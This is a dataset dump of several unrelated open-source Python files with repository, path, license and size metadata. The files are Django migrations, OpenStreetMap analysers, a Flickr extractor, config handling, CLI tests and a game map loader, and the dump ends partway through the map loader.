code
stringlengths
6
947k
repo_name
stringlengths
5
100
path
stringlengths
4
226
language
stringclasses
1 value
license
stringclasses
15 values
size
int64
6
947k
# -*- coding: utf-8 -*- # Third Party Stuff from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('certificate', '0003_auto_20160816_1148'), ] operations = [ migrations.DeleteModel( name='Dwsim_participant', ), migrations.DeleteModel( name='Esim_faculty', ), migrations.DeleteModel( name='eSim_WS', ), migrations.DeleteModel( name='Internship_participant', ), migrations.DeleteModel( name='OpenFOAM_Symposium_participant_2016', ), migrations.DeleteModel( name='OpenFOAM_Symposium_speaker_2016', ), migrations.DeleteModel( name='Osdag_WS', ), migrations.RemoveField( model_name='profile', name='user', ), migrations.DeleteModel( name='Scilab_arduino', ), migrations.DeleteModel( name='Scilab_participant', ), migrations.DeleteModel( name='Scilab_speaker', ), migrations.DeleteModel( name='Scilab_workshop', ), migrations.DeleteModel( name='Scipy_participant', ), migrations.DeleteModel( name='Scipy_participant_2015', ), migrations.DeleteModel( name='Scipy_speaker', ), migrations.DeleteModel( name='Scipy_speaker_2015', ), migrations.DeleteModel( name='Tbc_freeeda', ), migrations.AlterField( model_name='drupal_camp', name='email', field=models.EmailField(max_length=254, null=True, blank=True), ), migrations.AlterField( model_name='drupal_ws', name='email', field=models.EmailField(max_length=254), ), migrations.DeleteModel( name='Profile', ), ]
Spoken-tutorial/spoken-website
certificate/migrations/0004_auto_20160818_1609.py
Python
gpl-3.0
2,044
#!/usr/bin/env python #-*- coding: utf-8 -*- ########################################################################### ## ## ## Copyrights Frédéric Rodrigo 2015 ## ## ## ## This program is free software: you can redistribute it and/or modify ## ## it under the terms of the GNU General Public License as published by ## ## the Free Software Foundation, either version 3 of the License, or ## ## (at your option) any later version. ## ## ## ## This program is distributed in the hope that it will be useful, ## ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ## ## GNU General Public License for more details. ## ## ## ## You should have received a copy of the GNU General Public License ## ## along with this program. If not, see <http://www.gnu.org/licenses/>. ## ## ## ########################################################################### from Analyser_Osmosis import Analyser_Osmosis sql00 = """ CREATE TEMP TABLE {0}highway AS SELECT id, nodes, ST_Envelope(linestring) AS bbox FROM {0}ways WHERE tags?'highway' """ sql01 = """ CREATE INDEX {0}_idx_highway_bbox ON {0}highway USING GIST(bbox) """ sql10 = """ SELECT w1_id, w2_id, ST_AsText(geom) FROM ( SELECT w1.id AS w1_id, w2.id AS w2_id, (SELECT * FROM (SELECT unnest(w1.nodes) INTERSECT SELECT unnest(w2.nodes)) AS t LIMIT 1) AS n_id FROM {0}highway AS w1 JOIN {1}ways AS w2 ON w1.id != w2.id AND w1.bbox && w2.linestring AND w1.nodes && w2.nodes WHERE w2.tags?'power' AND w2.tags->'power' IN ('line', 'minor_line', 'cable') GROUP BY 1, 2, 3 ) AS t JOIN nodes ON nodes.id = n_id """ sql20 = """ SELECT w1_id, w2_id, ST_AsText(geom) FROM ( SELECT w1.id AS w1_id, w2.id AS w2_id, (SELECT * FROM (SELECT unnest(w1.nodes) INTERSECT SELECT unnest(w2.nodes)) AS t LIMIT 1) AS n_id FROM {0}highway AS w1 JOIN {1}ways AS w2 ON w1.id != w2.id AND w1.bbox && w2.linestring AND w1.nodes && w2.nodes WHERE w2.tags?'waterway' AND w2.tags->'waterway' IN ('river', 'stream', 'canal', 'drain') GROUP BY 1, 2, 3 ) AS t JOIN nodes ON nodes.id = n_id WHERE (NOT tags?'highway' OR tags->'highway' != 'ford') AND (NOT tags?'ford' OR tags->'ford' = 'no') """ class Analyser_Osmosis_Bad_Intersection(Analyser_Osmosis): def __init__(self, config, logger = None): Analyser_Osmosis.__init__(self, config, logger) self.classs[1] = {"item":"1250", "level": 3, "tag": ["highway", "power", "fix:chair"], "desc": T_(u"Intersection of unrelated highway and power objects") } self.classs[2] = {"item":"1250", "level": 3, "tag": ["highway", "waterway", "fix:chair"], "desc": T_(u"Intersection of unrelated highway and waterway objects") } def analyser_osmosis_all(self): self.run(sql00.format("")) self.run(sql01.format("")) self.run(sql10.format("", ""), lambda res: {"class": 1, "data": [self.way, self.way, self.positionAsText] }) self.run(sql20.format("", ""), lambda res: {"class": 2, "data": [self.way, self.way, self.positionAsText] }) def analyser_osmosis_touched(self): self.run(sql00.format("")) self.run(sql01.format("")) self.run(sql00.format("touched_")) self.run(sql01.format("touched_")) self.run(sql10.format("touched_", ""), lambda res: {"class": 1, "data": [self.way, self.way, self.positionAsText] }) self.run(sql10.format("", "touched_"), lambda res: {"class": 1, "data": [self.way, self.way, self.positionAsText] }) self.run(sql10.format("touched_", "touched_"), lambda res: {"class": 1, "data": [self.way, self.way, self.positionAsText] }) self.run(sql20.format("touched_", ""), lambda res: {"class": 2, "data": [self.way, self.way, self.positionAsText] }) self.run(sql20.format("", "touched_"), lambda res: {"class": 2, "data": [self.way, self.way, self.positionAsText] }) self.run(sql20.format("touched_", "touched_"), lambda res: {"class": 2, "data": [self.way, self.way, self.positionAsText] })
tyndare/osmose-backend
analysers/analyser_osmosis_bad_intersection.py
Python
gpl-3.0
4,639
# coding: utf-8 """ Kipartman Kipartman api specifications OpenAPI spec version: 1.0.0 Contact: -- Generated by: https://github.com/swagger-api/swagger-codegen.git """ from pprint import pformat from six import iteritems import re class DistributorData(object): """ NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'name': 'str', 'address': 'str', 'website': 'str', 'sku_url': 'str', 'email': 'str', 'phone': 'str', 'comment': 'str', 'allowed': 'bool' } attribute_map = { 'name': 'name', 'address': 'address', 'website': 'website', 'sku_url': 'sku_url', 'email': 'email', 'phone': 'phone', 'comment': 'comment', 'allowed': 'allowed' } def __init__(self, name=None, address=None, website=None, sku_url=None, email=None, phone=None, comment=None, allowed=None): """ DistributorData - a model defined in Swagger """ self._name = None self._address = None self._website = None self._sku_url = None self._email = None self._phone = None self._comment = None self._allowed = None if name is not None: self.name = name if address is not None: self.address = address if website is not None: self.website = website if sku_url is not None: self.sku_url = sku_url if email is not None: self.email = email if phone is not None: self.phone = phone if comment is not None: self.comment = comment if allowed is not None: self.allowed = allowed @property def name(self): """ Gets the name of this DistributorData. :return: The name of this DistributorData. :rtype: str """ return self._name @name.setter def name(self, name): """ Sets the name of this DistributorData. :param name: The name of this DistributorData. :type: str """ self._name = name @property def address(self): """ Gets the address of this DistributorData. :return: The address of this DistributorData. :rtype: str """ return self._address @address.setter def address(self, address): """ Sets the address of this DistributorData. :param address: The address of this DistributorData. :type: str """ self._address = address @property def website(self): """ Gets the website of this DistributorData. :return: The website of this DistributorData. :rtype: str """ return self._website @website.setter def website(self, website): """ Sets the website of this DistributorData. :param website: The website of this DistributorData. :type: str """ self._website = website @property def sku_url(self): """ Gets the sku_url of this DistributorData. :return: The sku_url of this DistributorData. :rtype: str """ return self._sku_url @sku_url.setter def sku_url(self, sku_url): """ Sets the sku_url of this DistributorData. :param sku_url: The sku_url of this DistributorData. :type: str """ self._sku_url = sku_url @property def email(self): """ Gets the email of this DistributorData. :return: The email of this DistributorData. :rtype: str """ return self._email @email.setter def email(self, email): """ Sets the email of this DistributorData. :param email: The email of this DistributorData. :type: str """ self._email = email @property def phone(self): """ Gets the phone of this DistributorData. :return: The phone of this DistributorData. :rtype: str """ return self._phone @phone.setter def phone(self, phone): """ Sets the phone of this DistributorData. :param phone: The phone of this DistributorData. :type: str """ self._phone = phone @property def comment(self): """ Gets the comment of this DistributorData. :return: The comment of this DistributorData. :rtype: str """ return self._comment @comment.setter def comment(self, comment): """ Sets the comment of this DistributorData. :param comment: The comment of this DistributorData. :type: str """ self._comment = comment @property def allowed(self): """ Gets the allowed of this DistributorData. :return: The allowed of this DistributorData. :rtype: bool """ return self._allowed @allowed.setter def allowed(self, allowed): """ Sets the allowed of this DistributorData. :param allowed: The allowed of this DistributorData. :type: bool """ self._allowed = allowed def to_dict(self): """ Returns the model properties as a dict """ result = {} for attr, _ in iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value return result def to_str(self): """ Returns the string representation of the model """ return pformat(self.to_dict()) def __repr__(self): """ For `print` and `pprint` """ return self.to_str() def __eq__(self, other): """ Returns true if both objects are equal """ if not isinstance(other, DistributorData): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """ Returns true if both objects are not equal """ return not self == other
turdusmerula/kipartman
kipartman/swagger_client/models/distributor_data.py
Python
gpl-3.0
7,136
#!/usr/bin/env python # Script for processing with map reduce the Open Street Map datasets. # Counts the number of GPS hits in a discretized and scaled coordinates space. # Example of input row: -778591613,1666898345 [as described here: http://blog.osmfoundation.org/2012/04/01/bulk-gps-point-data/ ] # Example of output row: 1000-2579 282 [<latitude>-<longitude> \t <density value>] import sys SCALING = 10 # scaling factor, to decrease map resolution MAX_LAT = 180 * SCALING MAX_LON = 360 * SCALING PDIV = 10000000 / SCALING def mapper(): for line in sys.stdin: line = line.strip() if len(line) < 6: continue if len(line.split(',')) != 2: continue coords = line.split(',') try: lat = int((90*SCALING) + round(float(coords[0])/PDIV)) # 0-1800 lon = int((180*SCALING) + round(float(coords[1])/PDIV)) # 0-3600 except: continue if (lat <= MAX_LAT) and (lon <= MAX_LON): sys.stdout.write('LongValueSum:%s\t%d\n' % (str(lat) + "-" + str(lon), 1)) if __name__ == '__main__': mapper()
pviotti/osm-viz
map_points.py
Python
gpl-3.0
1,183
import gi gi.require_version('Gtk', '3.0') from gi.repository import Gtk, Gio UI_PATH = '/io/github/ImEditor/ui/' class ImEditorHeaderBar(): __gtype_name__ = 'ImEditorHeaderBar' def __init__(self): builder = Gtk.Builder.new_from_resource(UI_PATH + 'headerbar.ui') self.header_bar = builder.get_object('header_bar') self.menu_button = builder.get_object('menu_button') self.select_button = builder.get_object('select_button') self.pencil_button = builder.get_object('pencil_button') builder.add_from_resource(UI_PATH + 'menu.ui') self.window_menu = builder.get_object('window-menu') self.menu_button.set_menu_model(self.window_menu)
ImEditor/ImEditor
src/interface/headerbar.py
Python
gpl-3.0
711
# -*- encoding: utf-8 -*- """Test for Roles CLI @Requirement: Filter @CaseAutomation: Automated @CaseLevel: Acceptance @CaseComponent: CLI @TestType: Functional @CaseImportance: High @Upstream: No """ from robottelo.cli.base import CLIReturnCodeError from robottelo.cli.factory import ( make_filter, make_location, make_org, make_role, ) from robottelo.cli.filter import Filter from robottelo.cli.role import Role from robottelo.decorators import tier1 from robottelo.test import APITestCase class FilterTestCase(APITestCase): @classmethod def setUpClass(cls): """Search for Organization permissions. Set ``cls.perms``.""" super(FilterTestCase, cls).setUpClass() cls.perms = [ permission['name'] for permission in Filter.available_permissions( {'resource-type': 'User'}) ] def setUp(self): """Create a role that a filter would be assigned """ super(FilterTestCase, self).setUp() self.role = make_role() @tier1 def test_positive_create_with_permission(self): """Create a filter and assign it some permissions. @id: 6da6c5d3-2727-4eb7-aa15-9f7b6f91d3b2 @Assert: The created filter has the assigned permissions. """ # Assign filter to created role filter_ = make_filter({ 'role-id': self.role['id'], 'permissions': self.perms, }) self.assertEqual( set(filter_['permissions'].split(", ")), set(self.perms) ) @tier1 def test_positive_create_with_org(self): """Create a filter and assign it some permissions. @id: f6308192-0e1f-427b-a296-b285f6684691 @Assert: The created filter has the assigned permissions. """ org = make_org() # Assign filter to created role filter_ = make_filter({ 'role-id': self.role['id'], 'permissions': self.perms, 'organization-ids': org['id'], }) # we expect here only only one organization, i.e. first element self.assertEqual(filter_['organizations'][0], org['name']) @tier1 def test_positive_create_with_loc(self): """Create a filter and assign it some permissions. @id: d7d1969a-cb30-4e97-a9a3-3a4aaf608795 @Assert: The created filter has the assigned permissions. """ loc = make_location() # Assign filter to created role filter_ = make_filter({ 'role-id': self.role['id'], 'permissions': self.perms, 'location-ids': loc['id'], }) # we expect here only only one location, i.e. first element self.assertEqual(filter_['locations'][0], loc['name']) @tier1 def test_positive_delete(self): """Create a filter and delete it afterwards. @id: 97d1093c-0d49-454b-86f6-f5be87b32775 @Assert: The deleted filter cannot be fetched. """ filter_ = make_filter({ 'role-id': self.role['id'], 'permissions': self.perms, }) Filter.delete({'id': filter_['id']}) with self.assertRaises(CLIReturnCodeError): Filter.info({'id': filter_['id']}) @tier1 def test_positive_delete_role(self): """Create a filter and delete the role it points at. @id: e2adb6a4-e408-4912-a32d-2bf2c43187d9 @Assert: The filter cannot be fetched. """ filter_ = make_filter({ 'role-id': self.role['id'], 'permissions': self.perms, }) # A filter depends on a role. Deleting a role implicitly deletes the # filter pointing at it. Role.delete({'id': self.role['id']}) with self.assertRaises(CLIReturnCodeError): Role.info({'id': self.role['id']}) with self.assertRaises(CLIReturnCodeError): Filter.info({'id': filter_['id']}) @tier1 def test_positive_update_permissions(self): """Create a filter and update its permissions. @id: 3d6a52d8-2f8f-4f97-a155-9b52888af16e @Assert: Permissions updated. """ filter_ = make_filter({ 'role-id': self.role['id'], 'permissions': self.perms, }) new_perms = [ permission['name'] for permission in Filter.available_permissions( {'resource-type': 'User'}) ] Filter.update({ 'id': filter_['id'], 'permissions': new_perms }) filter_ = Filter.info({'id': filter_['id']}) self.assertEqual( set(filter_['permissions'].split(", ")), set(new_perms) ) @tier1 def test_positive_update_role(self): """Create a filter and assign it to another role. @id: 2950b3a1-2bce-447f-9df2-869b1d10eaf5 @Assert: Filter is created and assigned to new role. """ filter_ = make_filter({ 'role-id': self.role['id'], 'permissions': self.perms, }) # Update with another role new_role = make_role() Filter.update({ 'id': filter_['id'], 'role-id': new_role['id'], }) filter_ = Filter.info({'id': filter_['id']}) self.assertEqual(filter_['role'], new_role['name']) @tier1 def test_positive_update_org_loc(self): """Create a filter and assign it to another organization and location. @id: 9bb59109-9701-4ef3-95c6-81f387d372da @Assert: Filter is created and assigned to new org and loc. """ org = make_org() loc = make_location() filter_ = make_filter({ 'role-id': self.role['id'], 'permissions': self.perms, 'organization-ids': org['id'], 'location-ids': loc['id'] }) # Update org and loc new_org = make_org() new_loc = make_location() Filter.update({ 'id': filter_['id'], 'permissions': self.perms, 'organization-ids': new_org['id'], 'location-ids': new_loc['id'] }) filter_ = Filter.info({'id': filter_['id']}) # We expect here only one organization and location self.assertEqual(filter_['organizations'][0], new_org['name']) self.assertEqual(filter_['locations'][0], new_loc['name'])
Ichimonji10/robottelo
tests/foreman/cli/test_filter.py
Python
gpl-3.0
6,479
from __future__ import unicode_literals from .common import InfoExtractor from ..compat import ( compat_str, compat_urllib_parse_urlencode, ) from ..utils import ( ExtractorError, int_or_none, qualities, ) class FlickrIE(InfoExtractor): _VALID_URL = r'https?://(?:www\.|secure\.)?flickr\.com/photos/[\w\-_@]+/(?P<id>\d+)' _TEST = { 'url': 'http://www.flickr.com/photos/forestwander-nature-pictures/5645318632/in/photostream/', 'md5': '164fe3fa6c22e18d448d4d5af2330f31', 'info_dict': { 'id': '5645318632', 'ext': 'mpg', 'description': 'Waterfalls in the Springtime at Dark Hollow Waterfalls. These are located just off of Skyline Drive in Virginia. They are only about 6/10 of a mile hike but it is a pretty steep hill and a good climb back up.', 'title': 'Dark Hollow Waterfalls', 'duration': 19, 'timestamp': 1303528740, 'upload_date': '20110423', 'uploader_id': '10922353@N03', 'uploader': 'Forest Wander', 'uploader_url': 'https://www.flickr.com/photos/forestwander-nature-pictures/', 'comment_count': int, 'view_count': int, 'tags': list, 'license': 'Attribution-ShareAlike', } } _API_BASE_URL = 'https://api.flickr.com/services/rest?' # https://help.yahoo.com/kb/flickr/SLN25525.html _LICENSES = { '0': 'All Rights Reserved', '1': 'Attribution-NonCommercial-ShareAlike', '2': 'Attribution-NonCommercial', '3': 'Attribution-NonCommercial-NoDerivs', '4': 'Attribution', '5': 'Attribution-ShareAlike', '6': 'Attribution-NoDerivs', '7': 'No known copyright restrictions', '8': 'United States government work', '9': 'Public Domain Dedication (CC0)', '10': 'Public Domain Work', } def _call_api(self, method, video_id, api_key, note, secret=None): query = { 'photo_id': video_id, 'method': 'flickr.%s' % method, 'api_key': api_key, 'format': 'json', 'nojsoncallback': 1, } if secret: query['secret'] = secret data = self._download_json(self._API_BASE_URL + compat_urllib_parse_urlencode(query), video_id, note) if data['stat'] != 'ok': raise ExtractorError(data['message']) return data def _real_extract(self, url): video_id = self._match_id(url) api_key = self._download_json( 'https://www.flickr.com/hermes_error_beacon.gne', video_id, 'Downloading api key')['site_key'] video_info = self._call_api( 'photos.getInfo', video_id, api_key, 'Downloading video info')['photo'] if video_info['media'] == 'video': streams = self._call_api( 'video.getStreamInfo', video_id, api_key, 'Downloading streams info', video_info['secret'])['streams'] preference = qualities( ['288p', 'iphone_wifi', '100', '300', '700', '360p', 'appletv', '720p', '1080p', 'orig']) formats = [] for stream in streams['stream']: stream_type = compat_str(stream.get('type')) formats.append({ 'format_id': stream_type, 'url': stream['_content'], 'preference': preference(stream_type), }) self._sort_formats(formats) owner = video_info.get('owner', {}) uploader_id = owner.get('nsid') uploader_path = owner.get('path_alias') or uploader_id uploader_url = 'https://www.flickr.com/photos/%s/' % uploader_path if uploader_path else None return { 'id': video_id, 'title': video_info['title']['_content'], 'description': video_info.get('description', {}).get('_content'), 'formats': formats, 'timestamp': int_or_none(video_info.get('dateuploaded')), 'duration': int_or_none(video_info.get('video', {}).get('duration')), 'uploader_id': uploader_id, 'uploader': owner.get('realname'), 'uploader_url': uploader_url, 'comment_count': int_or_none(video_info.get('comments', {}).get('_content')), 'view_count': int_or_none(video_info.get('views')), 'tags': [tag.get('_content') for tag in video_info.get('tags', {}).get('tag', [])], 'license': self._LICENSES.get(video_info.get('license')), } else: raise ExtractorError('not a video', expected=True)
valmynd/MediaFetcher
src/plugins/youtube_dl/youtube_dl/extractor/flickr.py
Python
gpl-3.0
3,980
''' ''' import sys import os import gzip import regex # 'borrowed' from CGAT - we may not need this functionality # ultimately. When finalised, if req., make clear source def openFile(filename, mode="r", create_dir=False): '''open file called *filename* with mode *mode*. gzip - compressed files are recognized by the suffix ``.gz`` and opened transparently. Note that there are differences in the file like objects returned, for example in the ability to seek. Arguments --------- filename : string mode : string File opening mode create_dir : bool If True, the directory containing filename will be created if it does not exist. Returns ------- File or file-like object in case of gzip compressed files. ''' _, ext = os.path.splitext(filename) if create_dir: dirname = os.path.dirname(filename) if dirname and not os.path.exists(dirname): os.makedirs(dirname) if ext.lower() in (".gz", ".z"): if sys.version_info.major >= 3: if mode == "r": return gzip.open(filename, 'rt', encoding="ascii") elif mode == "w": return gzip.open(filename, 'wt', encoding="ascii") else: raise NotImplementedError( "mode '{}' not implemented".format(mode)) else: return gzip.open(filename, mode) else: return open(filename, mode) def checkError(barcode, whitelist, limit=1): near_matches = set() comp_regex = regex.compile("(%s){e<=1}" % barcode) comp_regex2 = regex.compile("(%s){e<=1}" % barcode[:-1]) b_length = len(barcode) for whitelisted_barcode in whitelist: w_length = len(whitelisted_barcode) if barcode == whitelisted_barcode: continue if (max(b_length, w_length) > (min(b_length, w_length) + 1)): continue if comp_regex.match(whitelisted_barcode) or comp_regex2.match(whitelisted_barcode): near_matches.add(whitelisted_barcode) if len(near_matches) > limit: return near_matches return near_matches # partially 'borrowed' from CGAT - we may not need this functionality # ultimately. When finalised, if req., make clear source def FastqIterator(infile): '''iterate over contents of fastq file.''' while 1: line1 = infile.readline() if not line1: break if not line1.startswith('@'): raise ValueError("parsing error: expected '@' in line %s" % line1) line2 = infile.readline() line3 = infile.readline() if not line3.startswith('+'): raise ValueError("parsing error: expected '+' in line %s" % line3) line4 = infile.readline() # incomplete entry if not line4: raise ValueError("incomplete entry for %s" % line1) read_id, seq, qualities = line1[:-1], line2[:-1], line4[:-1] yield ("", read_id, seq, qualities)
k3yavi/alevin
testing/src-py/Utilities.py
Python
gpl-3.0
3,040
# -*- coding: utf-8 -*- # Copyright(C) 2010 Christophe Benz # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, version 3 of the License. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. from __future__ import with_statement from ConfigParser import RawConfigParser, DEFAULTSECT import logging import os from weboob.tools.ordereddict import OrderedDict from .iconfig import IConfig __all__ = ['INIConfig'] class INIConfig(IConfig): ROOTSECT = 'ROOT' def __init__(self, path): self.path = path self.values = OrderedDict() self.config = RawConfigParser() def load(self, default={}): self.values = OrderedDict(default) if os.path.exists(self.path): logging.debug(u'Loading application configuration file: %s.' % self.path) self.config.read(self.path) for section in self.config.sections(): args = section.split(':') if args[0] == self.ROOTSECT: args.pop(0) for key, value in self.config.items(section): self.set(*(args + [key, value])) # retro compatibility if len(self.config.sections()) == 0: first = True for key, value in self.config.items(DEFAULTSECT): if first: logging.warning('The configuration file "%s" uses an old-style' % self.path) logging.warning('Please rename the %s section to %s' % (DEFAULTSECT, self.ROOTSECT)) first = False self.set(key, value) logging.debug(u'Application configuration file loaded: %s.' % self.path) else: self.save() logging.debug(u'Application configuration file created with default values: %s. ' 'Please customize it.' % self.path) return self.values def save(self): def save_section(values, root_section=self.ROOTSECT): for k, v in values.iteritems(): if isinstance(v, (int, float, basestring)): if not self.config.has_section(root_section): self.config.add_section(root_section) self.config.set(root_section, k, unicode(v)) elif isinstance(v, dict): new_section = ':'.join((root_section, k)) if (root_section != self.ROOTSECT or k == self.ROOTSECT) else k if not self.config.has_section(new_section): self.config.add_section(new_section) save_section(v, new_section) save_section(self.values) with open(self.path, 'w') as f: self.config.write(f) def get(self, *args, **kwargs): default = None if 'default' in kwargs: default = kwargs['default'] v = self.values for k in args[:-1]: if k in v: v = v[k] else: return default try: return v[args[-1]] except KeyError: return default def set(self, *args): v = self.values for k in args[:-2]: if k not in v: v[k] = OrderedDict() v = v[k] v[args[-2]] = args[-1] def delete(self, *args): v = self.values for k in args[:-1]: if k not in v: return v = v[k] v.pop(args[-1], None)
jocelynj/weboob
weboob/tools/config/iniconfig.py
Python
gpl-3.0
4,039
#!/usr/bin/python # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # Most of this code was copied from the FIFE file xmlmap.py # It is part of the local code base now so we can customize what happens # as we read map files import fife try: import xml.etree.cElementTree as ET except: import xml.etree.ElementTree as ET import loaders from serializers import * import time FORMAT = '1.0' class XMLMapLoader(fife.ResourceLoader): def __init__(self, engine, data, callback): """ The XMLMapLoader parses the xml map using several section. Each section fires a callback (if given) which can e. g. be used to show a progress bar. The callback sends two values, a string and a float (which shows the overall process): callback(string, float) Inputs: engine = FIFE engine data = Engine object for PARPG data callback = function callback """ fife.ResourceLoader.__init__(self) self.thisown = 0 self.callback = callback self.engine = engine self.data = data self.vfs = self.engine.getVFS() self.model = self.engine.getModel() self.pool = self.engine.getImagePool() self.anim_pool = self.engine.getAnimationPool() self.map = None self.source = None self.time_to_load = 0 self.nspace = None def _err(self, msg): raise SyntaxError(''.join(['File: ', self.source, ' . ', msg])) def loadResource(self, location): start_time = time.time() self.source = location.getFilename() f = self.vfs.open(self.source) f.thisown = 1 tree = ET.parse(f) root = tree.getroot() map = self.parseMap(root) self.time_to_load = time.time() - start_time return map def parseMap(self, map_elt): if not map_elt: self._err('No <map> element found at top level of map file definition.') id,format = map_elt.get('id'),map_elt.get('format') if not format == FORMAT: self._err(''.join(['This file has format ', format, ' but this loader has format ', FORMAT])) if not id: self._err('Map declared without an identifier.') map = None try: self.map = self.model.createMap(str(id)) self.map.setResourceFile(self.source) except fife.Exception, e: # NameClash appears as general fife.Exception; any ideas? print e.getMessage() print ''.join(['File: ', self.source, '. The map ', str(id), ' already exists! Ignoring map definition.']) return None # xml-specific directory imports. This is used by xml savers. self.map.importDirs = [] if self.callback is not None: self.callback('created map', float(0.25) ) self.parseImports(map_elt, self.map) self.parseLayers(map_elt, self.map) self.parseCameras(map_elt, self.map) return self.map def parseImports(self, map_elt, map): parsedImports = {} if self.callback: tmplist = map_elt.findall('import') i = float(0) for item in map_elt.findall('import'): file = item.get('file') if file: file = reverse_root_subfile(self.source, file) dir = item.get('dir') if dir: dir = reverse_root_subfile(self.source, dir) # Don't parse duplicate imports if (dir,file) in parsedImports: print "Duplicate import:" ,(dir,file) continue parsedImports[(dir,file)] = 1 if file and dir: loaders.loadImportFile('/'.join(dir, file), self.engine) elif file: loaders.loadImportFile(file, self.engine) elif dir: loaders.loadImportDirRec(dir, self.engine) map.importDirs.append(dir) else: print 'Empty import statement?' if self.callback: i += 1 self.callback('loaded imports', float( i / float(len(tmplist)) * 0.25 + 0.25 ) ) def parseLayers(self, map_elt, map): if self.callback is not None: tmplist = map_elt.findall('layer') i = float(0) for layer in map_elt.findall('layer'): id = layer.get('id') grid_type = layer.get('grid_type') x_scale = layer.get('x_scale') y_scale = layer.get('y_scale') rotation = layer.get('rotation') x_offset = layer.get('x_offset') y_offset = layer.get('y_offset') pathing = layer.get('pathing') if not x_scale: x_scale = 1.0 if not y_scale: y_scale = 1.0 if not rotation: rotation = 0.0 if not x_offset: x_offset = 0.0 if not y_offset: y_offset = 0.0 if not pathing: pathing = "cell_edges_only" if not id: self._err('<layer> declared with no id attribute.') if not grid_type: self._err(''.join(['Layer ', str(id), ' has no grid_type attribute.'])) allow_diagonals = pathing == "cell_edges_and_diagonals" cellgrid = self.model.getCellGrid(grid_type) if not cellgrid: self._err('<layer> declared with invalid cellgrid type. (%s)' % grid_type) cellgrid.setRotation(float(rotation)) cellgrid.setXScale(float(x_scale)) cellgrid.setYScale(float(y_scale)) cellgrid.setXShift(float(x_offset)) cellgrid.setYShift(float(y_offset)) layer_obj = None try: layer_obj = map.createLayer(str(id), cellgrid) except fife.Exception, e: print e.getMessage() print 'The layer ' + str(id) + ' already exists! Ignoring this layer.' continue strgy = fife.CELL_EDGES_ONLY if pathing == "cell_edges_and_diagonals": strgy = fife.CELL_EDGES_AND_DIAGONALS if pathing == "freeform": strgy = fife.FREEFORM layer_obj.setPathingStrategy(strgy) self.parseInstances(layer, layer_obj) if self.callback is not None: i += 1 self.callback('loaded layer :' + str(id), float( i / float(len(tmplist)) * 0.25 + 0.5 ) ) # cleanup if self.callback is not None: del tmplist del i def parseInstances(self, layerelt, layer): instelt = layerelt.find('instances') instances = instelt.findall('i') instances.extend(instelt.findall('inst')) instances.extend(instelt.findall('instance')) for instance in instances: objectID = instance.get('object') if not objectID: objectID = instance.get('obj') if not objectID: objectID = instance.get('o') if not objectID: self._err('<instance> does not specify an object attribute.') nspace = instance.get('namespace') if not nspace: nspace = instance.get('ns') if not nspace: nspace = self.nspace if not nspace: self._err('<instance> %s does not specify an object namespace, and no default is available.' % str(objectID)) self.nspace = nspace object = self.model.getObject(str(objectID), str(nspace)) if not object: print ''.join(['Object with id=', str(objectID), ' ns=', str(nspace), ' could not be found. Omitting...']) continue x = instance.get('x') y = instance.get('y') z = instance.get('z') stackpos = instance.get('stackpos') id = instance.get('id') if x: x = float(x) self.x = x else: self.x = self.x + 1 x = self.x if y: y = float(y) self.y = y else: y = self.y if z: z = float(z) else: z = 0.0 if not id: id = '' else: id = str(id) inst = layer.createInstance(object, fife.ExactModelCoordinate(x,y,z), str(id)) rotation = instance.get('r') if not rotation: rotation = instance.get('rotation') if not rotation: angles = object.get2dGfxVisual().getStaticImageAngles() if angles: rotation = angles[0] else: rotation = 0 else: rotation = int(rotation) inst.setRotation(rotation) fife.InstanceVisual.create(inst) if (stackpos): inst.get2dGfxVisual().setStackPosition(int(stackpos)) if (object.getAction('default')): target = fife.Location(layer) inst.act('default', target, True) #Check for PARPG specific object attributes object_type = instance.get('object_type') if ( object_type ): inst_dict = {} inst_dict["type"] = object_type inst_dict["id"] = id inst_dict["xpos"] = x inst_dict["ypos"] = y inst_dict["gfx"] = objectID inst_dict["is_open"] = instance.get('is_open') inst_dict["locked"] = instance.get('locked') inst_dict["name"] = instance.get('name') inst_dict["text"] = instance.get('text') inst_dict["target_map_name"] = instance.get('target_map_name') inst_dict["target_map"] = instance.get('target_map') inst_dict["target_pos"] = (instance.get('target_x'), instance.get('target_y')) self.data.createObject( layer, inst_dict, inst ) def parseCameras(self, map_elt, map): if self.callback: tmplist = map_elt.findall('camera') i = float(0) for camera in map_elt.findall('camera'): id = camera.get('id') zoom = camera.get('zoom') tilt = camera.get('tilt') rotation = camera.get('rotation') ref_layer_id = camera.get('ref_layer_id') ref_cell_width = camera.get('ref_cell_width') ref_cell_height = camera.get('ref_cell_height') viewport = camera.get('viewport') if not zoom: zoom = 1 if not tilt: tilt = 0 if not rotation: rotation = 0 if not id: self._err('Camera declared without an id.') if not ref_layer_id: self._err(''.join(['Camera ', str(id), ' declared with no reference layer.'])) if not (ref_cell_width and ref_cell_height): self._err(''.join(['Camera ', str(id), ' declared without reference cell dimensions.'])) try: if viewport: cam = self.engine.getView().addCamera(str(id), map.getLayer(str(ref_layer_id)),fife.Rect(*[int(c) for c in 